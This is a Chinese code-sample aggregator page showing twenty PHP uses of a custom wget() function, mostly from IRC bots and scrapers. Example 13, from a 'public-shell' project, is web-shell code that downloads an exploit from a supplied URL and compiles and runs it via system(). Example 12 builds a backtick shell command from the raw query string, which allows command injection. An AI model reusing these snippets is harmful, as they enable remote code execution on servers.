• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP wget函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中wget函数的典型用法代码示例。如果您正苦于以下问题:PHP wget函数的具体用法?PHP wget怎么用?PHP wget使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了wget函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: make_static

 function make_static($kuerzel = "")
 {
     $kuerzel = trim($kuerzel);
     $data = $this->show_all4($kuerzel);
     // unvollst. dokument
     $fh = fopen("cache/_all_" . $kuerzel . ".html", "w");
     fputs($fh, $data);
     fclose($fh);
     // dokument mit header dateien (wenn gegeben)
     $sql = "SELECT head,foot FROM " . $this->_prefix . "press_sites WHERE kuerzel='{$kuerzel}'";
     $res = $this->_SQL->select($sql);
     //print_r($res);
     if (!empty($res)) {
         $head = wget($res[0]['head']);
         $foot = wget($res[0]['foot']);
         $fname = "cache/_cus_" . $kuerzel . ".html";
         // schreibe doc mit headern
         if (!is_writable($fname)) {
             die("\nEs fehlen ihnen die Rechte, um {$fname} schreiben zu duerfen! \ndied.\n");
         }
         $fh = fopen("cache/_cus_" . $kuerzel . ".html", "w");
         fputs($fh, $head . $data . $foot);
         fclose($fh);
     }
 }
开发者ID:BackupTheBerlios,项目名称:unipress-svn,代码行数:25,代码来源:press_output.class.php


示例2: get_raw_title

function get_raw_title($redirect_data)
{
    $rd_url = $redirect_data["url"];
    $rd_cookies = $redirect_data["cookies"];
    $rd_extra_headers = $redirect_data["extra_headers"];
    $host = "";
    $uri = "";
    $port = 80;
    if (get_host_and_uri($rd_url, $host, $uri, $port) == False) {
        term_echo("get_host_and_uri=false");
        return False;
    }
    $breakcode = "return ((strpos(strtolower(\$response),\"</title>\")!==False) or (strlen(\$response)>=10000));";
    #$breakcode="";
    $response = wget($host, $uri, $port, ICEWEASEL_UA, $rd_extra_headers, 20, $breakcode, 256);
    #var_dump($response);
    $html = strip_headers($response);
    $title = extract_raw_tag($html, "title");
    $title = html_decode($title);
    $title = trim(html_decode($title));
    if ($title == "") {
        term_echo("  get_raw_title: title is empty");
        return False;
    }
    return $title;
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:26,代码来源:title_lib.php


示例3: get_api_data

function get_api_data($uri)
{
    $host = "bitbucket.org";
    $port = 443;
    $headers = "";
    $response = wget($host, $uri, $port, ICEWEASEL_UA, $headers, 60);
    $content = strip_headers($response);
    return json_decode($content, True);
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:9,代码来源:bitbucket_feed.php


示例4: updates

function updates()
{
    return;
    // doesn't work
    $homeurl = "http://ch-becker.de/software/unipress.html";
    $latest = wget($homeurl);
    $infos = wget($homeurl . $latest);
    if (VERSION != $latest) {
        return "Ihre Version von unipress ist veraltet." . "<pre>\nIhre Version: " . VERSION . "\nNeueste Version: " . $latest . "\nInformationen: " . $infos . "</pre>";
    } else {
        echo "Sie setzen die neueste Version ein.";
    }
}
开发者ID:BackupTheBerlios,项目名称:unipress-svn,代码行数:13,代码来源:updatemanager.php


示例5: copyright_check_url

function copyright_check_url($html, $anchor_url)
{
    $host = "";
    $uri = "";
    $port = "";
    if (get_host_and_uri($anchor_url, $host, $uri, $port) == True) {
        $response = wget($host, $uri, $port, ICEWEASEL_UA, "", 60);
        $anchor_html = strip_headers($response);
        #<crutchy> cull spaces and special chars, lowercase all, strip tags, css etc and compare
        #<crutchy> have some kind of arbitrary string length (or maybe %) that causes trigger
    }
    return True;
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:13,代码来源:copyright_lib.php


示例6: chromas_log

function chromas_log($alias, $trailing, $dest)
{
    $params = parse_parameters($trailing, "=", " ");
    if ($params !== False) {
        foreach ($params as $key => $value) {
            if (strpos($key, " ") !== False) {
                $params = False;
                break;
            }
        }
    }
    if ($params === False) {
        term_echo("chromas_log failed: invalid parameters");
        return False;
    }
    # chromas, 23 march 2015
    if (isset($params["until"]) == False) {
        date_default_timezone_set("UTC");
        $params["until"] = strftime("%F %T", time() - 5);
    }
    $paramstr = "";
    foreach ($params as $key => $value) {
        if ($paramstr != "") {
            $paramstr = $paramstr . "&";
        }
        $paramstr = $paramstr . urlencode($key) . "=" . urlencode($value);
    }
    if (isset($params["channel"]) == False) {
        $paramstr = $paramstr . "&channel=" . urlencode($dest);
    }
    if (isset($params["out"]) == False) {
        $paramstr = $paramstr . "&out=irc-full";
    }
    if ($alias == "~log") {
        $uri = "/s/soylent_log.php?" . $paramstr;
    } else {
        $uri = "/s/soylent_log.php?op=" . $alias . "&" . $paramstr;
    }
    if (get_bucket("chromas_irc_log_debug") == "on") {
        pm("chromas", "http://chromas.0x.no" . $uri);
        pm("crutchy", "http://chromas.0x.no" . $uri);
    }
    $response = wget("chromas.0x.no", $uri, 80, ICEWEASEL_UA, "", 10, "", 1024, False);
    $html = trim(strip_headers($response));
    if ($html == "") {
        pm("#", "chromas_log failed: no response");
        return False;
    }
    $lines = explode("\n", trim($html));
    return $lines;
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:51,代码来源:chromas_log_lib.php


示例7: getExterns

function getExterns($externs)
{
    $out = '';
    foreach ($externs as $filename => $names) {
        $url = 'https://raw.githubusercontent.com/google/closure-compiler/master/' . $filename;
        // Concat multiline definitions
        $file = preg_replace('#, *\\n#', ', ', wget($url));
        // Remove the file header
        $file = preg_replace('(/\\*\\*.*?@fileoverview.*?\\*/)s', '', $file);
        preg_match_all('(/\\*\\*.*?\\*/\\s*(\\w[^\\n]+))s', $file, $m);
        foreach ($names as $name) {
            $len = strlen($name);
            foreach ($m[1] as $k => $line) {
                if (substr($line, 0, $len) === $name) {
                    $out .= $m[0][$k] . "\n";
                    continue 2;
                }
            }
            echo "Could not find {$name}\n";
        }
    }
    // Remove superfluous doc like comments and @see links
    $out = preg_replace('#^ \\*(?!/| @(?!see)).*\\n#m', '', $out);
    // Remove unnecessary annotations
    $annotations = [" * @implements {EventTarget}\n"];
    $out = str_replace($annotations, '', $out);
    // Prepend some legalese to be on the safe side
    $out = '/*
	 * Copyright 2008 The Closure Compiler Authors
	 *
	 * Licensed under the Apache License, Version 2.0 (the "License");
	 * you may not use this file except in compliance with the License.
	 * You may obtain a copy of the License at
	 *
	 *     http://www.apache.org/licenses/LICENSE-2.0
	 *
	 * Unless required by applicable law or agreed to in writing, software
	 * distributed under the License is distributed on an "AS IS" BASIS,
	 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
	 * See the License for the specific language governing permissions and
	 * limitations under the License.
	 */

	// This file was auto-generated.
	// See https://github.com/google/closure-compiler for the original source.
	// See https://github.com/s9e/TextFormatter/blob/master/scripts/generateExterns.php for details.

	' . $out;
    return str_replace("\t", '', $out);
}
开发者ID:CryptArc,项目名称:TextFormatter,代码行数:50,代码来源:generateExterns.php


示例8: getEanCommonInfo

function getEanCommonInfo($ean)
{
    $url = "http://shopping.daum.net/mini/barcodesearch.daum?barcode={$ean}";
    $html = wget($url);
    //$html = str_replace("<!doctype html>","", $html);
    /*
    echo "<xmp>";
    echo $html;
    echo "</xmp>";
    */
    header("Content-type:text/html;charset=utf8");
    $dom = new DOMDocument();
    @$dom->loadHTML("<?xml encoding=\"UTF-8\"/>" . $html, LIBXML_NOWARNING);
    $path = new DOMXpath($dom);
    $xpProductName = $path->query("//*[@id=\"daumContent\"]/div[3]/div/div[1]/dl[1]/dd/strong");
    $xpVendorName = $path->query("//*[@id=\"daumContent\"]/div[3]/div/div[1]/dl[2]/dd/strong");
    $productname = $xpProductName->item(0)->nodeValue;
    $vendorname = $xpVendorName->item(0)->nodeValue;
    $productname = str_replace("...", "", $productname);
    $o = (object) null;
    $o->productname = $productname;
    $o->vendor = $vendorname;
    $xpList = $path->query('//*[@id="daumContent"]/div[3]/div/div[2]/ul/li/div[1]/a/img');
    if ($xpList->length > 0) {
        $img = $xpList->item(0)->getAttribute("src");
        $match = preg_match('/fname=(.*)/', $img, $names);
        $thumbnail = wgetSave($img, "/public/product/", $ean . '.jpg');
        $fimg = urldecode($names[1]);
        $match = preg_match('/p\\/([A-Z0-9]+).jpg/', $fimg, $codes);
        $code = $codes[1];
        $thumbnail_big = wgetSave($fimg, "/public/product", $ean . "_big.jpg");
        $o->daum_prodcode = $code;
        $o->thumbnail = $thumbnail;
        $o->thumbnail_big = $thumbnail_big;
    }
    return $o;
}
开发者ID:Tobuk,项目名称:barcode_warrior,代码行数:37,代码来源:common_helper.php


示例9: hosterExec

function hosterExec($thisHoster, $packet, $packetDownloadDir, $file)
{
    global $CONFIG;
    $retval = '';
    $url = $file->get('uri');
    $filename = basename($url);
    #printd("hoster.default.php hosterExec '$url'\n");
    $file->save('size', wgetHeaderSize($url, $packet->get('httpUser'), $packet->get('httpPassword')));
    $tmpfile = $packetDownloadDir . '/.' . $filename;
    wget($url, $tmpfile, null, $packet->get('httpUser'), $packet->get('httpPassword'));
    $error = 0;
    if (file_exists($tmpfile)) {
        $size = filesize($tmpfile);
        $newfilePath = $packetDownloadDir . '/' . $filename;
        rename($tmpfile, $newfilePath);
        if (file_exists($newfilePath)) {
            $retval = $newfilePath;
        }
        if ($error) {
            $retval = (int) $error;
        }
    }
    return $retval;
}
开发者ID:TheFox,项目名称:phpdl,代码行数:24,代码来源:hoster.default.php


示例10: privmsg

$source_body=html_decode($source_body);

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# the following code posts a submission to SoylentNews

#return;

if ($nick<>"crutchy")
{
  privmsg("exec's submit script is borken. blame crutchy");
  return;
} */
$host = "soylentnews.org";
$port = 443;
$uri = "/submit.pl";
$response = wget($host, $uri, $port, ICEWEASEL_UA);
$html = strip_headers($response);
$reskey = extract_text($html, "<input type=\"hidden\" id=\"reskey\" name=\"reskey\" value=\"", "\">");
if ($reskey === False) {
    privmsg("error: unable to extract reskey");
    return;
}
sleep(25);
$params = array();
$params["reskey"] = $reskey;
#$params["name"]=trim(substr($nick,0,50));
$params["name"] = get_bot_nick();
$params["email"] = "";
$params["subj"] = trim(substr($source_title, 0, 100));
$params["primaryskid"] = "1";
$params["tid"] = "6";
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:31,代码来源:submit.php


示例11: wtouch

 $response = wtouch($host, $uri, $port, 120);
 $response_g = wtouch($host_g, $uri, $port, 120);
 if ($response === False and $response_g !== False) {
     pm("crutchy", "ALERT: \"" . strtoupper($host) . "\" HOST IS UNAVAILABLE ON PORT {$port}");
     $account = users_get_account($verifier_nick);
     if ($account == $verifier_account) {
         pm($verifier_nick, $verifier_msg);
     } else {
         # DON'T TRUST EXEC TO ALERT ANYTHING ON IT'S OWN
         #pm("#soylent",chr(3)."08".chr(2)."*** ALERT: \"".strtoupper($host)."\" HOST IS UNAVAILABLE ON PORT $port ***");
     }
     return;
 }
 $extra_headers = array();
 $extra_headers["Cookie"] = sn_login();
 $response = wget($host, $uri, $port, ICEWEASEL_UA, $extra_headers);
 $delim1 = "<b>Progress So Far: \$";
 $delim2 = "</b>";
 $amount = extract_text($response, $delim1, $delim2);
 if ($amount !== False) {
     $data = exec_file_read("previous_sn_funding");
     $previous = "";
     if (count($data) > 0) {
         $previous = trim($data[0]);
     } else {
         term_echo("funding: count(data) = 0");
     }
     if ($previous != $amount) {
         pm("#soylent", chr(3) . "05" . "*** SN funding has changed from \${$previous} to \${$amount}");
         exec_file_write("previous_sn_funding", array($amount));
     } else {
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:31,代码来源:sn.php


示例12: set_time_limit

<?php

set_time_limit(120);
header("Content-Type:text/xml");
$r = file_get_contents(wget($_SERVER[QUERY_STRING], file_get_contents('php://input')));
file_put_contents('/tmp/x.xml', $r . "\n", FILE_APPEND);
echo $r;
function wget($u, $p)
{
    $request = '/tmp/' . rand() . time() . '.post.xml';
    $response = '/tmp/' . rand() . time() . '.xml';
    file_put_contents($request, $p);
    `wget --header "Content-Type:text/xml" --post-file={$request} '{$u}' -O {$response} > /dev/null 2>&1`;
    return $response;
}
开发者ID:glos,项目名称:myglos,代码行数:15,代码来源:post.php


示例13: wget

<select name="run">
<option>c++ | .cpp</option>
<option>python | .py</option>
<option>perl | .pl</option>
<option>ruby | .rb</option>
</select>
<input type="hidden" name="action" value="exploit">
<input type="submit" value="Start">
</form>
</center>
<?php 
    }
    if (isset($_GET['exp_url'])) {
        echo '<center>';
        if (function_exists("wget")) {
            wget($_GET['exp_url']);
            echo $_GET['exp_url'] . ' got in here';
            if (function_exists("system")) {
                if (isset($_GET['run'])) {
                    $run = $_GET['run'];
                    if ($run = 'c++ | .cpp') {
                        system("gcc -o exploit " . $_GET['exp_url'] . ";chmod +x exploit;./exploit;");
                    }
                    if ($run = 'perl | .pl') {
                    }
                    if ($run = 'python | .py') {
                    }
                    if ($run = 'ruby | .rb') {
                    }
                }
            } else {
开发者ID:0x37N0w4N,项目名称:public-shell,代码行数:31,代码来源:anon.php


示例14: wiki_unspamctl

function wiki_unspamctl($nick, $trailing)
{
    $account = users_get_account($nick);
    $allowed = array("crutchy", "chromas", "mrcoolbp", "paulej72", "juggs", "martyb");
    if (in_array($account, $allowed) == False) {
        privmsg("  error: not authorized");
        return;
    }
    $title = trim(substr($trailing, strlen(".unspamctl")));
    if ($title == "") {
        privmsg("  syntax: .unspamctl <page title>");
        return;
    }
    if (login($nick, True) == False) {
        return;
    }
    $cookieprefix = get_bucket("wiki_login_cookieprefix");
    $sessionid = get_bucket("wiki_login_sessionid");
    if ($cookieprefix == "" or $sessionid == "") {
        privmsg("  not logged in");
        return;
    }
    $headers = array("Cookie" => login_cookie($cookieprefix, $sessionid));
    $uri = "/w/api.php?action=query&format=php&meta=tokens&type=rollback";
    $response = wget(WIKI_HOST, $uri, 80, WIKI_USER_AGENT, $headers);
    $data = unserialize(strip_headers($response));
    if (isset($data["query"]["tokens"]["rollbacktoken"]) == False) {
        privmsg("  error getting rollbacktoken");
        logout(True);
        return;
    }
    $token = $data["query"]["tokens"]["rollbacktoken"];
    /*$uri="/w/api.php?action=edit";
      $params=array(
        "format"=>"php",
        "title"=>$title,
        "text"=>$text,
        "contentformat"=>"text/x-wiki",
        "contentmodel"=>"wikitext",
        "bot"=>"",
        "token"=>$token);
      $response=wpost(WIKI_HOST,$uri,80,WIKI_USER_AGENT,$params,$headers);
      $data=unserialize(strip_headers($response));
      if (isset($data["error"])==True)
      {
        privmsg("  error: ".$data["error"]["code"]);
      }
      else
      {
        $msg=$data["edit"]["result"];
        if ($data["edit"]["result"]=="Success")
        {
          if ((isset($data["edit"]["oldrevid"])==True) and (isset($data["edit"]["newrevid"])==True))
          {
            $msg=$msg.", oldrevid=".$data["edit"]["oldrevid"].", newrevid=".$data["edit"]["newrevid"];
          }
        }
        privmsg("  $msg");
        $title=str_replace(" ","_",$title);
        privmsg("  http://wiki.soylentnews.org/wiki/".urlencode($title));
      }*/
    logout(True);
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:63,代码来源:wiki_lib.php


示例15: wget

#####################################################################################################
require_once "lib.php";
$trailing = $argv[1];
$dest = $argv[2];
$nick = $argv[3];
$alias = $argv[4];
$cmd = $argv[5];
$agent = ICEWEASEL_UA;
$host = "www.just-one-liners.com";
$port = 80;
if (mt_rand(0, 4) == 0) {
    $uri = "/";
} else {
    $uri = "/category/confucius-say-wordplay";
}
$response = wget($host, $uri, $port, $agent);
$delim1 = "<h2 class=\"title\" id=\"post-";
$delim2 = "</h2>";
$text = extract_text($response, $delim1, $delim2);
if ($text === False) {
    return;
}
$i = strpos($text, "<");
if ($i === False) {
    return;
}
$text = substr($text, $i);
$text = replace_ctrl_chars($text, " ");
$text = trim(strip_tags($text));
$text = str_replace("  ", " ", $text);
$text = html_decode($text);
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:31,代码来源:confucius.php


示例16: read_file_contents

            $source1 = 'Uploaded';
            $name1 = $_FILES['file1']['name'];
            $filecontents1 = read_file_contents($_FILES['file1']['tmp_name']);
        } else {
            print "<p>No document was specified for Document 1.</p>";
        }
    }
}
$source2 = 'Downloaded';
if ($_GET['url2']) {
    $name2 = $_GET['url2'];
    $filecontents2 = wget($_GET['url2']);
} else {
    if ($_POST['url2']) {
        $name2 = $_POST['url2'];
        $filecontents2 = wget($_POST['url2']);
    } else {
        if ($_FILES['file2']['tmp_name']) {
            $source2 = 'Uploaded';
            $name2 = $_FILES['file2']['name'];
            $filecontents2 = read_file_contents($_FILES['file2']['tmp_name']);
        } else {
            print "<p>No document was specified for Document 2.</p>";
        }
    }
}
$shorturl1 = htmlspecialchars(shorten_url($name1));
$shorturl2 = htmlspecialchars(shorten_url($name2));
echo '<html>' . "\r\n";
echo "<head><title>Duplicate Detector: {$shorturl1} x {$shorturl2}</title></head>\r\n";
echo '<body>' . "\r\n";
开发者ID:hazand,项目名称:Duplication-Detector,代码行数:31,代码来源:compare.php


示例17: wget_ssl

function wget_ssl($host, $uri, $agent = ICEWEASEL_UA, $extra_headers = "")
{
    return wget($host, $uri, 443, $agent, $extra_headers);
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:4,代码来源:lib_http.php


示例18: wget

 /**
  * 获取远程内容。
  * james add
  * @author Issac
  * @param string $url 链接。
  * @param array  $headers 可选,头信息,键值对。
  * @param array  $form 可选,表单数据,键值对。
  * @param array  $files 可选,要上传的文件表,键值对。
  * @param array  $cookies 可选,COOKIES,键值对。
  * @param string $referer 可选,链接来源。
  * @param string $useragent 可选,用户代理,默认仿冒 Firefox 17.0。
  * @param int    $timeout 可选,超时,默认不限制。
  * @return array 错误返回 false。否则返回远程内容数组,包括:Head 头,Body 响应正文,Info 信息。
  */
 private function wget($url = null, array $headers = null, array $form = null, array $files = null, array $cookies = null, $referer = null, $useragent = null, $timeout = 0)
 {
     if (function_exists('wget')) {
         return wget($url, $headers, $form, $files, $cookies, $referer, $useragent, $timeout);
     }
     static $error;
     if (func_num_args() === 0) {
         return $error;
     }
     if (!function_exists('curl_init')) {
         $error = array('Code' => 999, 'Error' => 'cURL extension is not install.');
         return false;
     }
     if (!isset($useragent)) {
         $useragent = 'Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0';
     }
     $options = array(CURLOPT_USERAGENT => $useragent, CURLOPT_FAILONERROR => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_ENCODING => 'gzip, deflate', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_URL => $url, CURLOPT_HEADER => true);
     if (isset($referer)) {
         $options[CURLOPT_REFERER] = $referer;
     }
     if (isset($headers)) {
         $hs = array();
         foreach ($headers as $k => $v) {
             $hs[] = $k . ': ' . $v;
         }
         $options[CURLOPT_HTTPHEADER] = $hs;
     }
     if (isset($cookies)) {
         $cs = array();
         foreach ($cookies as $k => $v) {
             $cs[] = $k . '=' . $v;
         }
         if (count($cs) > 0) {
             $options[CURLOPT_COOKIE] = implode(';', $cs);
         }
     }
     if (isset($timeout) && $timeout > 0) {
         $options[CURLOPT_TIMEOUT] = $timeout;
     }
     if (isset($form) || isset($files)) {
         $posts = array();
         if (isset($form)) {
             foreach ($form as $k => $v) {
                 $posts[$k] = $v;
             }
         }
         if (isset($files)) {
             foreach ($files as $k => $f) {
                 $posts[$k] = '@' . $f;
             }
         }
         if (count($posts) > 0) {
             $postfields = '';
             foreach ($posts as $k => $v) {
                 $postfields .= $k . '=' . $v . '&';
             }
             $postfields = substr($postfields, 0, -1);
             $options[CURLOPT_POST] = true;
             $options[CURLOPT_POSTFIELDS] = $postfields;
         }
     }
     $result = false;
     $error = null;
     if ($conn = curl_init()) {
         if (curl_setopt_array($conn, $options)) {
             $response = curl_exec($conn);
             if ($response !== false && curl_errno($conn) === 0) {
                 $result = array();
                 $result['Url'] = $url;
                 $result['Raw'] = $response;
                 list($header, $body) = explode("\r\n\r\n", $response, 2);
                 $status = explode("\r\n", $header, 2);
                 $result['Status'] = array_shift($status);
                 $result['Head'] = array_shift($status);
                 $result['Body'] = $body;
                 $result['Info'] = curl_getinfo($conn);
             } else {
                 $error = array('Code' => curl_errno($conn), 'Error' => curl_error($conn));
             }
         } else {
             $error = array('Code' => 200, 'Error' => 'Options configuration incorrect.');
         }
         curl_close($conn);
     } else {
         $error = array('Code' => 201, 'Error' => 'cURL initialization failed.');
     }
//.........这里部分代码省略.........
开发者ID:unixcx,项目名称:swoole_pushmsg_websocket,代码行数:101,代码来源:redis_lib.php


示例19: source_define

function source_define($host, $term, $params)
{
    global $debug;
    $sterm = $term;
    if ($params["space_delim"] != "") {
        $sterm = str_replace(" ", $params["space_delim"], $sterm);
    }
    $uri = str_replace($params["template"], urlencode($sterm), $params["uri"]);
    term_echo("*** DEFINE: trying {$host}{$uri} on port " . $params["port"]);
    $response = wget($host, $uri, $params["port"], ICEWEASEL_UA, "", 20);
    $html = strip_headers($response);
    $html = replace_ctrl_chars($html, " ");
    strip_all_tag($html, "head");
    strip_all_tag($html, "script");
    if ($debug == "ON") {
        privmsg("debug [{$host}]: uri = \"{$uri}\"");
        $L = strlen($html);
        privmsg("debug [{$host}]: html length = \"{$L}\"");
        unset($L);
        privmsg("debug [{$host}]: delim_start = \"" . $params["delim_start"] . "\"");
        privmsg("debug [{$host}]: delim_end = " . $params["delim_end"] . "\"");
    }
    $i = strpos($html, $params["delim_start"]);
    $def = "";
    if ($i !== False) {
        if ($debug == "ON") {
            privmsg("debug [{$host}]: delim_start pos = \"{$i}\"");
        }
        $html = substr($html, $i + strlen($params["delim_start"]));
        $i = strpos($html, $params["delim_end"]);
        if ($i !== False) {
            if ($debug == "ON") {
                privmsg("debug [{$host}]: delim_end pos = \"{$i}\"");
            }
            $def = trim(strip_tags(substr($html, 0, $i)));
            $def = str_replace(array("\n", "\r"), " ", $def);
            $def = str_replace("  ", " ", $def);
            if (strlen($def) > MAX_DEF_LENGTH) {
                $def = trim(substr($def, 0, MAX_DEF_LENGTH)) . "...";
            }
        }
    }
    if ($def == "") {
        $location = exec_get_header($response, "location");
        if ($location == "") {
            return False;
        } else {
            $new_term = extract_text($location, $params["get_param"], "&", True);
            if ($new_term != $term) {
                term_echo("redirecting to \"{$location}\"");
                if ($debug == "ON") {
                    privmsg("debug [{$host}]: redirecting to \"{$location}\"");
                }
                return source_define($host, $new_term, $params);
            } else {
                return False;
            }
        }
    } else {
        if ($params["ignore"] != "" and strpos($def, $params["ignore"]) !== False) {
            return False;
        }
        if (strpos($def, "There aren't any definitions") !== False) {
            return False;
        }
        privmsg("[" . $params["name"] . "] " . chr(3) . "03{$term}" . chr(3) . ": " . html_decode($def));
        return True;
    }
}
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:69,代码来源:definitions.php


示例20: trim

$trailing = trim($argv[1]);
$dest = $argv[2];
$nick = $argv[3];
$alias = substr($argv[4], 1);
if ($trailing == "debug on") {
    set_bucket("chromas_irc_log_debug", "on");
    privmsg("  enabled debug pm");
    return;
} elseif ($trailing == "debug off") {
    unset_bucket("chromas_irc_log_debug");
    privmsg("  disabled debug pm");
    return;
}
$lines = chromas_log($alias, $trailing, $dest);
if ($lines === False) {
    $response = wget("chromas.0x.no", "/s/soylent_log.php", 80);
    $html = trim(strip_headers($response));
    $html = str_replace("\n", " ", $html);
    privmsg(chr(3) . "03" . $html);
    privmsg(chr(3) . "  http://chromas.0x.no/s/soylent_log.php");
    return;
}
$cutoff_index = 4;
for ($i = 0; $i < count($lines); $i++) {
    if ($i > $cutoff_index) {
        $n = count($lines) - $cutoff_index - 1;
        privmsg(chr(3) . "03{$n} records not shown - refer to http://chromas.0x.no{$uri}");
        break;
    }
    $msg = trim($lines[$i]);
    if ($msg != "") {
开发者ID:cmn32480,项目名称:exec-irc-bot,代码行数:31,代码来源:chromas_log.php



注:本文中的wget函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP when函数代码示例发布时间:2022-05-23
下一篇:
PHP wfu_plugin_encode_string函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap